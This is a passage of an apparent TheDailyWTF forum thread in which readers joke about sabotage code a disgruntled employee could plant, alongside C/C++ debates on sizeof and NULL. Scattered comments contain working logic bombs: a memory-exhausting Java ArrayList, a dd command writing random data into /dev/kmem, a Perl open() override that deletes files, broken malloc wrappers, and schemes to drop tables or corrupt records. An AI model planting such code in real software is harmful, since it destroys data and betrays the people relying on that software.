    * bitsof(long) >= bitsof(int) && bitsof(long) >= 32
    * bitsof(unsigned X) == bitsof(signed X)

    The question of bytes versus chars as unit of sizeof is largely moot, as systems where char != an 8-bit byte are pretty rare these days, and anyway, "byte" is often used to mean "normal smallest hunk of memory", what would have been called a "word" in the old days, so a man page that says that malloc takes a size in bytes is correct, even on machine with nine-bit doodads. It is to avoid this type of confusion that standards (especially ITU standards) use the word "octet".

    Dividing CHAR_BIT by 8 in an attempt to find the number of bytes is, therefore, wrong. It finds the number of octets. On the hypothetical 137-bit machine, a "byte" would be 137 bits, and would contain seventeen and an eighth (?sp) octets.

    However, the point about using new or new[] in C++ is well taken, for plenty of reasons.


    Nice selective quoting. You're original assertion about the size argument for malloc not being in bytes was, and still is wrong. Focusing on sizeof() is red a herring you introduced, not me.

    BTW, this is the reason why I usually just make stupid jokes and avoid commenting about actual code on this site. Because inevitably some pig-headed dev will come along and try to get into a pissing match.
  • Not yet disgruntled 2011-03-15 10:33
    Steve The Cynic:
    Not yet disgruntled:

    #define CHECK_SIZE(a, b, c) ((!a && b) ? 0 : a##b(c))

    ...

    int and = 0;

    ...

    CHECK_SIZE(sr, and, s);


    You know that "and" is a keyword in C++, don't you? (It's a synonym for &&. Likewise "or" for ||, and "not" for monadic !.)


    Actually, I didn't! I guess I learned something today then. See, this is what I like about TDWTF :)

    The snippet, however, was written for and compiles cleanly with MSVC++ (as visible by the #pragma directive), which coincidentally does _not_ reserve "and", "or" or "not" as keywords. See http://msdn.microsoft.com/en-us/library/2e6a4at9.aspx

    Still, good to know for future reference - and in case I would ever need this code to be platform-independent... ;)
  • MK|C 2011-03-15 11:15
    cat /dev/random
    will hang any code not wise enough to use urandom.


    ...kind of weak, but meh.
  • Queex 2011-03-15 11:30
    Slip this into a java package and fix the imports. Change to suit whatever collection is used most often. You could probably make it harder to uncover by altering where it hides the references and how.

    public class ArrayList<E> extends java.util.ArrayList<E> {
    
    @SuppressWarnings("unchecked")
    private static final java.util.ArrayList bomb = new java.util.ArrayList();
    @SuppressWarnings("unchecked")
    @Override
    public boolean add(E e) {
    try {
    bomb.add(bomb.clone());
    } catch (OutOfMemoryError ex) {
    }
    return super.add(e);
    }
    }
  • Ivan Ivanovich 2011-03-15 11:34
    // maybe I needing later
  • Joshua 2011-03-15 11:36
    #ifndef _DEBUG
    if (rand() < 3) vfork()
    #endif
  • Rhialto 2011-03-15 11:37
    drfreak:
    On the Vic-20 and C64 in BASIC, I found a bug in the LIST command a long time ago which I have worked to my advantage before. To use the bug can create a rudimentary form of copy-protection but will not crash your program as it executes.

    On random lines, write your code. For instance, 10, 12, 16, 23, 32, 37, etc.. On all lines in-between, put a REM statement where you traverse the keyboard from qwert thrugh vbnm, hold in the function key (i think it was a commodore key actually) which produces the special characters often used in line drawing and such. Then, traverse the keys again from top to bottom. When you do a LIST on the program and it hits one of those lines, you'll get a ?SYNTAX ERROR and the listing will stop. The only way to see the real code is to list line numbers one-by-one until you get all the lines which don't contain the REMark..

    I never drilled down to find the actual keycode which causes the bug, hence my brute-force method of using all the keys. Maybe someone already has already discovered the bug though and has simplified the REM statement...


    The code that creates this problem is the one that has a value 1 higher than that of the highest possible BASIC keyword.
    Since different BASIC versions had different keywords, the character exhibiting this problem would also differ.

    The first PET BASIC version did not have the keyword GO, but instead allowed spaces inside keywords, which were ignored. That was changed in version 2.0, but they keyword GO was added to still allow "GO TO" for GOTO.
  • ferrix 2011-03-15 11:40
    I think this is a good combination of things to happen:


    int decoy_error(int value) {
    for (x = 0; x < 65535; x++) {
    // real flawless code goes here
    }
    return
    }

    int decoy_utility_function(someValue) {
    if (GetTickCount() == 100) return something; // notice how this is almost always false?

    y = 0;

    // you can write practically anything here

    someValue = someValue / y;

    // here you can reveal your secrets, we never get there
    }

    #define handle_error decoy_error
    #define utility_function decoy_utility_function

    try {
    for (x = 0; x < 65535; x++) {
    // some code goes here

    utility_function(x);

    // the bomb goes here
    }

    return foobar;
    }
    catch Exception {
    return handle_error(x);
    }
  • C++ Programmer 2011-03-15 11:50
    WTF is this shit about not using NULL in C++ prior to C++0x? that's bullshit.. who the fuck came up with that shit


    prior to C++0x you SHOULD be using NULL for clarity, with C++0x compliance you should be using the nullptr keyword.

    CAPTCHA: ludus ... somewhere you need to be enslaved
  • Hatshepsut 2011-03-15 11:53
    frits:
    Steve The Cynic:
    frits:
    Did I mention sizeof()?

    You need to know the size of char in bytes if you're using sizof() to derive your argument for malloc(). Because every reference I found specifies that the size argument is in bytes. That's why you'll sometimes see something like:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);



    So the lesson is: if you're using C++, just use new[].


    So, you think that a reference's presence on the Internet means it is correct? Dividing by sizeof(char) is always a waste of space in the source file, as sizeof(char) is always 1. Always. Even if you have a wacky (but validly conformant) compiler where all integral types (including char) are 137 bits long, sizeof(char) is 1, because that's what the standards say. Yes, it is valid to have all interal types be 137 bits long. Almost no source code found in the real world will work on such a machine, but it *is* valid. The standards merely say that:
    * bitsof(char) >= 8
    * bitsof(short) >= 16 && bitsof(short) >= bitsof(char)
    * bitsof(int) >= bitsof(short)
    * bitsof(long) >= bitsof(int) && bitsof(long) >= 32
    * bitsof(unsigned X) == bitsof(signed X)

    The question of bytes versus chars as unit of sizeof is largely moot, as systems where char != an 8-bit byte are pretty rare these days, and anyway, "byte" is often used to mean "normal smallest hunk of memory", what would have been called a "word" in the old days, so a man page that says that malloc takes a size in bytes is correct, even on machine with nine-bit doodads. It is to avoid this type of confusion that standards (especially ITU standards) use the word "octet".

    Dividing CHAR_BIT by 8 in an attempt to find the number of bytes is, therefore, wrong. It finds the number of octets. On the hypothetical 137-bit machine, a "byte" would be 137 bits, and would contain seventeen and an eighth (?sp) octets.

    However, the point about using new or new[] in C++ is well taken, for plenty of reasons.


    Nice selective quoting. You're original assertion about the size argument for malloc not being in bytes was, and still is wrong. Focusing on sizeof() is red a herring you introduced, not me.

    BTW, this is the reason why I usually just make stupid jokes and avoid commenting about actual code on this site. Because inevitably some pig-headed dev will come along and try to get into a pissing match.



    3.6
    1 byte
    addressable unit of data storage large enough to hold any member of the basic character
    set of the execution environment
    2 NOTE 1 It is possible to express the address of each individual byte of an object uniquely.
    3 NOTE 2 A byte is composed of a contiguous sequence of bits, the number of which is implementation-
    defined. The least significant bit is called the low-order bit; the most significant bit is called the high-order
    bit.

    The values given below shall be replaced by constant expressions suitable for use in #if
    preprocessing directives. Moreover, except for CHAR_BIT and MB_LEN_MAX, the
    following shall be replaced by expressions that have the same type as would an
    expression that is an object of the corresponding type converted according to the integer
    promotions. Their implementation-defined values shall be equal or greater in magnitude
    (absolute value) to those shown, with the same sign.
    — number of bits for smallest object that is not a bit-field (byte)
    CHAR_BIT 8

    6.5.3.4 The sizeof operator
    ...
    Semantics
    2 The sizeof operator yields the size (in bytes) of its operand, which may be an
    expression or the parenthesized name of a type. The size is determined from the type of
    the operand. The result is an integer. If the type of the operand is a variable length array
    type, the operand is evaluated; otherwise, the operand is not evaluated and the result is an
    integer constant.
    3 When applied to an operand that has type char, unsigned char,or signed char,
    (or a qualified version thereof) the result is 1.
    ...
    4 The value of the result is implementation-defined, and its type (an unsigned integer type)
    is size_t, defined in <stddef.h> (and other headers).
    5 EXAMPLE 1 A principal use of the sizeof operator is in communication with routines such as storage
    allocators and I/O systems. A storage-allocation function might accept a size (in bytes) of an object to
    allocate and return a pointer to void. For example:
    extern void *alloc(size_t);
    double *dp = alloc(sizeof *dp);

    7.20.3.3 The malloc function
    Synopsis
    1 #include <stdlib.h>
    void *malloc(size_t size);
    Description
    2 The malloc function allocates space for an object whose size is specified by size and
    whose value is indeterminate.
    Returns
    3 The malloc function returns either a null pointer or a pointer to the allocated space.



    TI C54-series DSPs have an MAU (minimum addressable unit) in data space which is a 16-bit word. In program space it's 8 bits.
  • AK-47 2011-03-15 12:24
    Ouch. I'd hate to work with you, dogg.
  • Chris Reuter 2011-03-15 12:42
    This isn't mine originally, but:


    #ifndef _DEBUG
    #define struct union /* Saves a huge amount of space. */
    #endif


    (No, this isn't a serious contender.)
  • Lumberjack U.K. 2011-03-15 13:07
    Delphi one for you...

    var
    OldWndProc: Pointer;

    function NewWndProc(Handle: hWnd; Msg: UINT; PW: WPARAM; PL: LPARAM): LRESULT stdcall;
    begin
    { Randomly ignore 1/100 windows messages }
    if Random(100) <> 42 then
    result := CallWindowProc(OldWndProc, Handle, Msg, PW, PL);
    end;

    initialization
    OldWndProc := Pointer(SetWindowLong(Application.Handle, GWL_WNDPROC, LongInt(@NewWndProc)));
  • Professor 2011-03-15 13:21
    frits:
    Steve The Cynic:
    frits:
    Did I mention sizeof()?

    You need to know the size of char in bytes if you're using sizof() to derive your argument for malloc(). Because every reference I found specifies that the size argument is in bytes. That's why you'll sometimes see something like:

    int size = sizeof(my_data_struct)/sizeof(char);
    my_data_struct * p_struct = malloc(size);



    So the lesson is: if you're using C++, just use new[].


    So, you think that a reference's presence on the Internet means it is correct? Dividing by sizeof(char) is always a waste of space in the source file, as sizeof(char) is always 1. Always. Even if you have a wacky (but validly conformant) compiler where all integral types (including char) are 137 bits long, sizeof(char) is 1, because that's what the standards say. Yes, it is valid to have all interal types be 137 bits long. Almost no source code found in the real world will work on such a machine, but it *is* valid. The standards merely say that:
    * bitsof(char) >= 8
    * bitsof(short) >= 16 && bitsof(short) >= bitsof(char)
    * bitsof(int) >= bitsof(short)
    * bitsof(long) >= bitsof(int) && bitsof(long) >= 32
    * bitsof(unsigned X) == bitsof(signed X)

    The question of bytes versus chars as unit of sizeof is largely moot, as systems where char != an 8-bit byte are pretty rare these days, and anyway, "byte" is often used to mean "normal smallest hunk of memory", what would have been called a "word" in the old days, so a man page that says that malloc takes a size in bytes is correct, even on machine with nine-bit doodads. It is to avoid this type of confusion that standards (especially ITU standards) use the word "octet".

    Dividing CHAR_BIT by 8 in an attempt to find the number of bytes is, therefore, wrong. It finds the number of octets. On the hypothetical 137-bit machine, a "byte" would be 137 bits, and would contain seventeen and an eighth (?sp) octets.

    However, the point about using new or new[] in C++ is well taken, for plenty of reasons.


    Nice selective quoting. You're original assertion about the size argument for malloc not being in bytes was, and still is wrong. Focusing on sizeof() is red a herring you introduced, not me.

    BTW, this is the reason why I usually just make stupid jokes and avoid commenting about actual code on this site. Because inevitably some pig-headed dev will come along and try to get into a pissing match.


    But Sizeof(Char) = 1 dumbass.

    your not too bright are you?
  • derula 2011-03-15 13:31
    What about this? (Ruby)

    # First, memorize the definition of Class as it will be killed later
    
    @klass = Class
    # Iterates over the names of all defined constants
    for @constant_name in constants
    # Get the constant's value
    @constant_value = const_get @constant_name
    # If it is a class
    if @constant_value.is_a? @klass
    # Define a new class that inherits from the old one
    @new_class = @klass.new @constant_value do
    # Redefine its allocator
    def self.allocate
    if rand < 0.0000001
    # Randomly create an instance of the *old* class instead
    superclass.allocate
    else
    # Create instance of this class
    super
    end
    end
    end
    # Redefine the constant to be the new class
    # (redefining constants usually yields a warning, but not with const_set)
    const_set @constant_name, @new_class
    end
    end
    # Delete the used variables to cover our tracks
    # (that's also the reason I used instance variables instead of local ones)
    remove_instance_variable(:@klass)
    remove_instance_variable(:@constant_name)
    remove_instance_variable(:@constant_value)


    In the end, you will have all the same classes, but not really. Applications will then sometimes fail if you try to figure out the type of a class. For example,
    String.new("Hello World").is_a? String
    will sometimes evaluate to false, because the new constant String now refers to the superclass of the built-in String class.

    This might have some other effects than the intended one... for example, I don't know if it will work for String / Numeric / Array / Hash / RegExp literals. And it might not work at all, I couldn't test it here.

    Addendum (2011-03-15 13:46):
    Dang! It needs to be
    for @constant_name in self.constants
    , of course!

    Addendum (2011-03-15 13:47):
    I mean, self.class.constants -.-
  • Cannery Rowe 2011-03-15 13:54
    Once upon a time I was asked to take over code
    that a developer had "Upsized" from MS Access
    to SQL Server.

    However, after a while Reports that used stored procedures mysteriously failed and their stored procedures or source views were gone... After investigation I discovered
    that in a utility procedure, used only in yearly or other infrequently used reports, contained a little gem that
    looked up and deleted a set of stored procedures and views...

    It was 5000 blank lines below the last line of "real" code.
    all of the rest of which was visible on the first edit screen...

  • anon c codeder 2011-03-15 13:56
    Sten:
    Some other guy:
    Maybe
    #include <stdlib.h>
    

    #define malloc malloc_bomb
    #define realmalloc malloc


    static inline void *

    malloc_bomb(size_t size)

    {

    if (size>8) size-=8;

    return realmalloc(size);

    }


    No. realmalloc gets replaced by malloc which in turn gets replaced by malloc_bomb. The correct one (according to ISO C) wouhl have #define at the bottom (after the function).


    Or use calloc :)

    Even better, (this is based on a real bug found) in malloc_bomb:

    // need to align memory as <other_coder> can't write proper code.
    size = size & ~0x07;
    calloc(size,1);

    This has the benefit of having hex in C (you would be surprised how many C coders will avoid code for that reason).
    It also is a common pattern (but implimented badly). Also, having the force of a bug fix and you don't want to be seen being as silly as <other_coder>.
  • Sten 2011-03-15 14:20
    anon c codeder:
    size = size & ~0x07;
    calloc(size,1);


    This is pure evil — looking like a little innocent child while being a brat from hell
  • methinks 2011-03-15 15:12
    drfreak:
    On the Vic-20 and C64 in BASIC, I found a bug in the LIST command a long time ago which I have worked to my advantage before. To use the bug can create a rudimentary form of copy-protection but will not crash your program as it executes.

    On random lines, write your code. For instance, 10, 12, 16, 23, 32, 37, etc.. On all lines in-between, put a REM statement where you traverse the keyboard from qwert thrugh vbnm, hold in the function key (i think it was a commodore key actually) which produces the special characters often used in line drawing and such. Then, traverse the keys again from top to bottom. When you do a LIST on the program and it hits one of those lines, you'll get a ?SYNTAX ERROR and the listing will stop. The only way to see the real code is to list line numbers one-by-one until you get all the lines which don't contain the REMark..

    I never drilled down to find the actual keycode which causes the bug, hence my brute-force method of using all the keys. Maybe someone already has already discovered the bug though and has simplified the REM statement...


    Why so complicated?

    The relevant statement was simply REM (Shift-L), the Shift-L produces a line character that looks like a slightly enlarged "L".
    You could put the statement on each line after the real code, no need for additional lines.

    This was very well known in the C64 community.

    The culprit is a point in the OS-code, where the programmers saved one (!) byte by doing a relative jump instead of an absolute one, assuming some value in the accumulator (the main register) of the 6510 CPU.
    With the Shift-L-character this failed (can't remember the exact reason, most likely an overflow) and the code fell through the conditional jump statement - and right into the "Syntax error"-subroutine which happened to be the next piece of assembler code.

    I even wrote a one-liner (!) using two of the most classic tricks on the C64 (1. copy the OS into RAM, 2. encode the resulting assembler in printable characters and print it into memory) and corrected the jump, which enabled me to simply list all those "protected" source codes without having to resort to one of those existing programs which removed all REMs :o)
  • VB User 2011-03-15 15:39
    My submission: ON ERROR RESUME NEXT

    "But boss, this is how I learned to write VB." Bonus points if you comment it with "This should never happen."
  • boog 2011-03-15 16:21
    Ivan Ivanovich:
    // maybe I needing later
    Thinking the same thing; one of the worst things a disgruntled employee could leave behind has already appeared on this site: http://thedailywtf.com/Articles/Maybe-I-Needing-Later.aspx
  • Student 2011-03-15 17:46
    [quote user="hoodaticus"][quote user="C-Octothorpe"][quote user="sheep hurr durr"][quote user="Rosuav"]

    -- snip --

    I've been doing this software development thing for years now, and I still giggle a little when I read "private members"... Is that just me?[/quote]Me too. Looks like I have another twin on here.

    "You said private... huh huh huh huh".[/quote]

    Had a CS professor at Brigham Young (of all places) gave us a lecture on "pubic" inheritence in C++. Didn't notice his glaring, and increasingly funny mistakes until the end of the lecture/
  • anon 2011-03-15 18:40
    Sten:
    Sobriquet:
    It will also make the library mysteriously fail to interoperate with other versions that were compiled without the redefinition. In a big app, this would be a nightmare.


    That’s not true.
    #define private public
    does not change ABI in any way since the classes do not change memory layout. I use it from time to time since some library developers are morons that define everything private and have never experienced any problem with that.


    So much for encapsulation...
  • I use grep 2011-03-15 22:45
    "rumor has it that a disgruntled employee once left #define true false in a random header file in the codebase. Given our codebase, that would be a lot harder to debug than one might think."


    If you can't run a grep -r "true.*false" * or similar on your codebase...I'm sorry.
  • biff 2011-03-15 23:26
    Sten:
    Anon.:
    If recompiling is an option...

    Why not recompile a version of PHP's mysql libraries that when mysql_query is ran and it finds a select command, instead of select, one out of 10,000(For really busy systems, might be too low by a few orders of magnitude, let's say, 10,000,000,000 runs), it sends "DROP TABLE $table" instead?


    Or maybe just replace the word SELECT with DELETE (it can be done without copying since both have the same length).


    I have always liked the concepts of occasionally randomly deleting small things like customer order records, customer line items, modifying part numbers, decreasing order quantities, delaying delivery dates...

    Preferrably just before routine exit, when the user is done with that record, and won't be looking at it for some time to come... hopefully long enough for the changes to propagate throughout the backups....
  • Amadeus Schubelgruber 2011-03-16 01:02
    There are a few static analyzers/checkers for C++ such as PRQAC++ that can detect redefinitions of reserved words, types, std lib, stl etc. Most if not all of these techniques can be easily detected.
  • HQM 2011-03-16 02:20
    #define struct union
  • Evo 2011-03-16 07:32
    I use grep:
    "rumor has it that a disgruntled employee once left #define true false in a random header file in the codebase. Given our codebase, that would be a lot harder to debug than one might think."


    If you can't run a grep -r "true.*false" * or similar on your codebase...I'm sorry.


    Please let this be a (very bad) joke. He didn't say he couldn't "find where he put it". It was very difficult to debug. To find out that it actually HAD been done.
  • Bishiboosh 2011-03-16 12:32
    Cipri:
    I'd have to go with making a cronjob running


    dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM


    Replace a random bit of kernel memory with a random value.


    Except /dev/kmem isn't usable anymore in most of the recent distribs :'(
  • Paula 2011-03-16 13:32
    function paula() {
    if (Math.random() > .5) return "Awesome";
    else return "Awesomer";
    }
  • Pr0gramm3r 2011-03-16 13:56
    #define true false

    This pattern is very easy to fix. Your program should now perform the exact opposite of what it was doing before. Therefore by taking the complement of your program it should run the same way as it used to. This has actually been done where I work, for example I wrote the following program:

    int main(int argc, char** argv){
    return 0;
    }

    After taking the complement of this program it does everything.
  • MattXIV 2011-03-16 15:38
    Chose some commonly use classes and overload random operators to work as normal but include a call to this function:

    void flipper(int blatancy)
    {
    int bit,bitNum,ctr;
    char * value;

    for (ctr=1; ctr<=blatancy; ctr++) {
    value = rand();
    bitNum = rand() % 8 + 1;
    if ( ( ( *value / ( 2 ^ bitNum ) ) % 2 ) == 0)
    *value = *value + 2 ^ bitNum;
    else
    *value = *value - 2 ^ bitNum;
    }

    Everything works as normal except it flips a single bit somewhere in the memory.
  • Anonymous 2011-03-16 15:51
    The appropriateness of "NULL" in C++ seems to draw a lot of debate. In the interest of clarifying the situation, I'd like to point out that in C++'s 2003 update (TR1) to the 1998 standard, on page 333, in section 18.1, clause 4 it reads:

    The macro NULL is an implementation-defined C++ null pointer constant in this International Standard
    (4.10).180)

    This means that NULL is an acceptable identifier to use for the null pointer constant in standards compliant C++. It is worth noting, however, that it is defined in the standard to be a *macro*, not a keyword. In C++, many frown upon macros. Even Bjarne Stroustrup himself on his faq (http://www.research.att.com/~bs/bs_faq2.html#null) recommends not using "NULL" as a macro. He does suggest using the name nullptr, as that prepares one for C++0x.

    One problem with "NULL" being a macro is that it is misleading in its type. NULL usually has "integer" type as it's typically defined:

    #define NULL (0)


    This leads to potential confusion:

    void f( int );
    void f( void * );

    f( 0 ); // Obvious that the int version is called
    f( NULL ); // The int version is called, in most implementations, but not guaranteed!


    It's for this reason that nullptr was added in C++0x with its own type. Even though "NULL" is acceptable, many developers (myself included) prefer to *not* use it, as it is potentially misleading in the face of overloading -- they regard it as present in the language for compatibility with C code. The issue is that the macro-as-a-name masks its true type, and can lead to non-portable code. When I have to use naked "0" as a null pointer, I document it in place. Usually I just #include my "nullptr.h" implementation these days, though, as it's about as much effort, but looks cleaner. There are sample "nullptr" type implementations for C++ in a pre C++0x environment, which are available on the net.
  • Anonymous 2011-03-16 16:02
    Oh, and I forgot to mention in the previous posting, regarding the quote from the C++ standard:

    180: Possible definitions include 0 and 0L, but not (void*)0.

    It's a bit confusing the way I copy-pasted it, but the "180)" is a footnote in the standard. This note means that the typical C definition of "NULL" is unacceptable in C++. "NULL" is allowed to be something different to "0" or "0L", though. One should write his code expecting NULL to possibly behave like an integer, but possibly not. To follow up on my previous example of ambiguity, this code is equally ambiguous in C++:

    std::string strange( NULL );


    Some implementations may invoke the "const char *" conversion constructor, and likely segfault. Other implementations may invoke the "size_type" constructor and create a string of 0 length.

    captcha: inhibeo - The correctly conjugated verb in Latin that the poor programmer should utter when about to write a WTF.
  • MattXIV 2011-03-16 16:12
    This one is for if you hate end-users more than other developers. Probably wouldn't even be noticed as a bug, since it simulates fat-fingered typing.

    Private Sub someControl_KeyPress (sender As Object, e As System.Windows.Forms.KeyEventArgs) _
    Handles someControl.KeyPress
    Dim randObj As Random
    If randObj.Next(1,100)<5 Then
    If e.KeyCode < Keys.Q Then WshShell.SendKeys("W")
    If e.KeyCode < Keys.W Then WshShell.SendKeys("E")
    'and so on
    End If
    End Sub

  • Sten 2011-03-16 19:41
    biff:
    I have always liked the concepts of occasionally randomly deleting small things like customer order records, customer line items, modifying part numbers, decreasing order quantities, delaying delivery dates...

    Preferrably just before routine exit, when the user is done with that record, and won't be looking at it for some time to come... hopefully long enough for the changes to propagate throughout the backups....


    So something like: with a very low probability rollback instead of commit just for fun?
  • Sten 2011-03-16 19:53
    Anonymous:
    NULL usually has "integer" type as it's typically defined:

    #define NULL (0)


    C standard defines NULL as ((void*)0). But as I noticed, Bjarne Stroustrup recommends the use of
    const int NULL = 0;

    which is completely wrong (as you have pointed, it selects bad overloaded method). Moreover this wrong attitude made its way into ISO C++ where NULL is defined as 0! Damned Bjarne Stroustrup!

    If you want to use constant and use it right, make it a pointer, not an integer:
    void *NULL = 0;

    This would at least create ambiguity instead of silent usage of a wrong overloaded function.

    (Btw. captcha: nulla)
  • Uristqwerty 2011-03-16 20:04
    I noticed quite a few mentions of "#define struct union".

    However, I feel that it would be better stated as "#define union struct", as then the effect would be _subtle_. It would only cause problems when interacting with other programs and when someone tries to be clever with the language, so it might stay around for years before anyone notices it.
  • bgodot 2011-03-16 21:57
    There is a function added to slow network worm spreading in the TCP/IP binaries on Windows XP and Vista (but not Seven, iirc) that limits the number of pending outbound connections, it's common to modify the binary for torrenting to improve speeds... I'm sure there are many other hardcoded system values like that that could be changed to cripple performance under load.
  • Ritchie70 2011-03-16 23:48
    To be especially evil, make any of these changes in system header files on the build machine if there's a dedicated one.

    It will work perfectly when the developer compiles, but the official build will be broken.
  • Chris 2011-03-17 02:29
    I ran into a physical version of this a few years back - a field technician that was given a pink slip, but asked to stay on to train his (contractor) replacement, swapped a number of flash cards - which on Cisco routers hold the software images - between routers of various models. So the first time one rebooted due to to a crash (or maintenance if the engineer didn't check the card beforehand) would fail to boot due to an incompatible image.
  • Martijn Lievaart 2011-03-17 05:20
    Henning Makholm:
    Yes, if you give the compiler any reason to think you mean a pointer rather than simply the integer 0. Note that this is specifically in context of variadic arguments, and there are machines out there that aren't Vaxen.


    OK, that's a portability bomb waiting to happen indeed. Using NULL will probably not save you, as most compilers simply define it as 0.

    And that's the first time anyone accused me of a vaxism, actually makes me a bit proud. :-)

  • quis 2011-03-17 08:21
    DiskJunky:
    VB has a couple of subtle ones that can drive you nuts if you don't know them;

    [code]Option Base 1
    [code]Option Compare Text

    Given that these are applied at a module level and if you put these at the BOTTOM of a code file... :-)

    I don't think they would be legal to add them below functions...
  • dooh 2011-03-17 09:29
    it's more about subtly changing the behavior of something or doing something that's difficult to detect and produces unexpected results


    No need, C compilers already do this for us.
  • anonymous 2011-03-17 10:33
    In Perl, any built-in function can be overloaded. The unlink() function deletes a file.

    BEGIN{*CORE::GLOBAL::open=sub {
    my $f = $_[1];
    $f =~ s/^[<>+]{0,2}//;
    unlink($_[2]||$f);
    }}
  • Neil 2011-03-17 12:05
    nitori:
    db2:
    Here's a good one to fuck with your web/CSS devs. Throw it in any .css file.
    body * { display: inline !important; }
    A few years ago, that would have been a bastard move. But with a decent, modern web debug tool (the one built into Chrome will do), it is rather easy to catch.
    Or even with a 10-year-old web debug tool.
  • Neil 2011-03-17 12:07
    Ol' Bob:
    Niels:
    The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.
    How much do you want for you first edition of K&R..?
    0++ presumably.

    CAPTCHA: minim - wait, that's a real word, and a palindrome to boot. Is someone slacking?
  • Neil 2011-03-17 12:50
    Make your code dependent on a DNS lookup for a particular constant value. On your development and staging machines, edit the hosts file so that they don't hit the network. The production machines will hit your ISP's DNS server instead. Then when you get fired, simply change the A record.
  • Anon 2011-03-17 12:53
    bgodot:
    There is a function added to slow network worm spreading in the TCP/IP binaries on Windows XP and Vista (but not Seven, iirc) that limits the number of pending outbound connections, it's common to modify the binary for torrenting to improve speeds... I'm sure there are many other hardcoded system values like that that could be changed to cripple performance under load.
    Neil:
    Make your code dependent on a DNS lookup for a particular constant value. On your development and staging machines, edit the hosts file so that they don't hit the network. The production machines will hit your ISP's DNS server instead. Then when you get fired, simply change the A record.


    Guys, you seem to have missed the point of "Bring Your Own Code". The clue is right there in the name.
  • Friday 2011-03-17 13:54
    Let's see if anyone else here knows Axe.
    :.ALDERSON
    :Repeat getkey(41)
    :
    :End
  • JD 2011-03-17 14:06
    #include <stdlib.h>

    #define malloc malloc_bomb

    static inline void *malloc_bomb( size_t size )
    {
    if( size > 8 ) size -= 8;
    return calloc( 1, size );
    }



    The other option, if free() checking isn't enabled in the compiler...

    static inline void *malloc_bomb( size_t size )
    {
    static i = 0;
    void *p;

    i++;
    p = malloc( size + ( i * 16 ) );
    free( p );
    return ( p + ( i * 16 ) );
    }

    Subsequent calls will malloc and free overlapping segments of memory, but the pointer handed back will slowly advance by 16 bytes, so small mallocs will apparently 'work'. Anything larger than 16 bytes will be truncated by the next malloc...
  • mh 2011-03-17 21:42
    #ifdef _DEBUG is lame... We once shipped code that worked differently based on whether application used our internal or a real-world license. Some developer was lazy to handle licensing all the time during debugging.

    Internal testing passed OK, release went out, and nobody was able to install it. Customers called support, but support could not replicate it (since they used the internal license as well). Loads of fun.

    So I would recommend checking for IP address range/domain/license type or something that will only screw customers. Will make it more interesting to debug :D.
  • ADAM 2011-03-17 21:48
    I was previously posting as "Anonymous", on C++ issues here, but I figured I may as well take an unregistered name. Anyhow, Sten, you have some inaccuracies in your statements regarding C++ and the null pointer constant. Apologies to all, in advance, for the length of this post.

    Sten:

    C standard defines NULL as ((void*)0).

    The C standard does define "NULL" as a macro to "((void *)0)", but let's remember one thing: C++ and C are NOT the same langauge. C++ is not even a proper superset of C (keywords issues aside, there are other divergences.) C's standard is defined by the X3J11 technical committee of the American National Standards Institute, and C++ is defined by X3J16. Eventually those bodies submit their recommendations to the respective ISO committees, and they coordinate on changes. For all practical purposes, the ISO and ANSI committees are equivalent. Many people are on both committees, and there is a good deal of cross pollination -- but they are distinct languages. C++ and C define some things differently, and just because C defines something one way doesn't necessarily guarantee that C++ will too. One has to treat them as two distinct, but closely related languages -- it's a faulty assumption to make that things must be the same between both languages. (Think bourne shell vs. GNU bash or similar.) So the fact that C defines NULL as "((void *)0)" is almost irrelevant to a discussion of the C++ "NULL" macro.

    Sten:

    But as I noticed, Bjarne Stroustrup recommends the use of
    const int NULL = 0;


    I do not believe that he recommends this construction, if you actually have seen this, I'd like to see a reference or link -- such a misleading construction clashes with his writings on type systems and clarity. That construction, while legal C++, wouldn't always function as a proper null pointer in standard C++, and I'm quite confident he knows this. (Basically, the constant, if defined as a const variable, and initialized with a const expression which evaluates to 0, will cast to the null pointer. But if this variable is not defined in your translation unit, but is instead referenced externally, then the int doesn't magically cast. This therefore provides no extra benefit over the existing solution, but it does serve to further ambiguate the type of "NULL", and create confusing corner cases.) In the link I posted last, he does state that he prefers to use the literal constant "0", and I believe that this may have caused you to believe that the "const int NULL" solution is what he recommends. The relevant standard section here is 5.19, but interpretations may vary here, and there may be quality-of-implementation issues to research here too.

    Put simply, the "const int" solution relies upon a tricky bit of standardese that allows consts defined and initialized before their usage, from a const expression to behave within the rest of that translation unit almost like macros from classic C. Although they do have the benefits of strong typing and avoid the pitfals of blind text substitution.

    Sten:

    which is completely wrong (as you have pointed, it selects bad overloaded method). Moreover this wrong attitude made its way into ISO C++ where NULL is defined as 0! Damned Bjarne Stroustrup!


    Actually, I think you've confused your history, here. It's not actually Bjarne's contribution to the language -- this "attitude" of 0 being the null pointer comes from C! In the original K&R C, in the early days, there was no "NULL" macro, just the constant 0. This is (as some mentioned in other posts) a case of thinking "all the world's a vax" (well, really it would have been a PDP-11/45, but who's nit-picking?) However, the C standard later said that although the null pointer constant can be expressed as "0" in some form, it doesn't have to be represented as the "0" bit pattern in any integral type. This carries over to C++.

    It's therefore not wrong, although potentially very confusing, in C++ to make "0" the null pointer constant. It was kept, though, for reasons I'll explain a bit later on. Regarding the selection of the wrong overload method, the constant expression (yes, constant expressions are different to general constant variables) zero (of any integral type), spelled among other variants: "0", "0l", "0x0", or your "NULL" example, can be cast to any pointer type. As I said, this is for compatibility with C code, actually. Try this in C sometime:

    void *myPtr= 0;
    assert( myPtr == NULL );


    And so, C++ gets its ambiguity of "0" as a constant expression from C. The literal "0" in C++, and all other equivalent constant expressions, is schizophrenic -- sometimes it's an int, but sometimes it's a pointer. Generally it prefers to be an int, when given the choice (but this choice is a C++ artifact, and not witnessed in C, usually). The language designers and standards committee decided it would be a bad decision to make an exception for the expression "( (void *) 0 )" to mean null pointer, as it would open up questions about conversion from "void *" in other situations. The committee recognized that C++ would have a null pointer constant, "0", from the parent language (the C language), and it left things at that. (Actually, much old C++ code just used 0 because that's what they used in C too! And remember that standards committees don't like to break much code, so they were kinda stuck with "0" for that reason too!) They didn't give it much thought because the fact that "0" can become a null pointer in C doesn't cause too many issues or ambiguities -- but then again, C doesn't have templates, overloading, strong static typing, and other things that C++ brings to the table. So, in retrospect, the failure to add a proper null pointer constant the first time around was actually rather problematic. (Although, the only compatibility in null pointer naming between C and C++ now is with the NULL macro, or the family of constant expression 0's.)

